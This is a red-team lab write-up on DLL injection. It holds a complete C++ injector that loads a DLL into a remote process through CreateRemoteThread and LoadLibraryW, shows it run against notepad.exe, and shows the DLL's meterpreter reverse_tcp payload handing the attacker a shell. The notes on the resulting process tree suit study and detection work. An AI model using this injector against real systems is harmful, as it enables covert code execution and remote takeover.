DLL Injection

This lab attempts a classic DLL injection into a remote process.
Execution
inject-dll.cpp
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int main(int argc, char *argv[]) {
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	HANDLE processHandle;
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	PVOID remoteBuffer;
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	wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll");
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	printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
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	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
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	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);	
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	WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
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	PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
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	CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
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	CloseHandle(processHandle); 
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	return 0;
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}
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Compiling the above code and executing it with a supplied argument of 4892 which is a PID of the notepad.exe process on the victim system:
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PS C:\experiments\inject1\x64\Debug> .\inject1.exe 4892
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Injecting DLL to PID: 4892
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After the DLL is successfully injected, the attacker receives a meterpreter session from the injected process and its privileges:
inject1.exe
60KB
Binary
DLL injector.exe
evilm64.dll
5KB
Binary
c:\experiments\evilm64.dll (windows/x64/meterpreter/reverse_tcp)
Observations
Note how the notepad spawned rundll32 which then spawned a cmd.exe because of the meterpreter payload (and attacker's shell command) that got executed as part of the injected evilm64.dll into the notepad process:
References
https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx
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https://msdn.microsoft.com/en-us/library/windows/desktop/ms684175(v=vs.85).aspx
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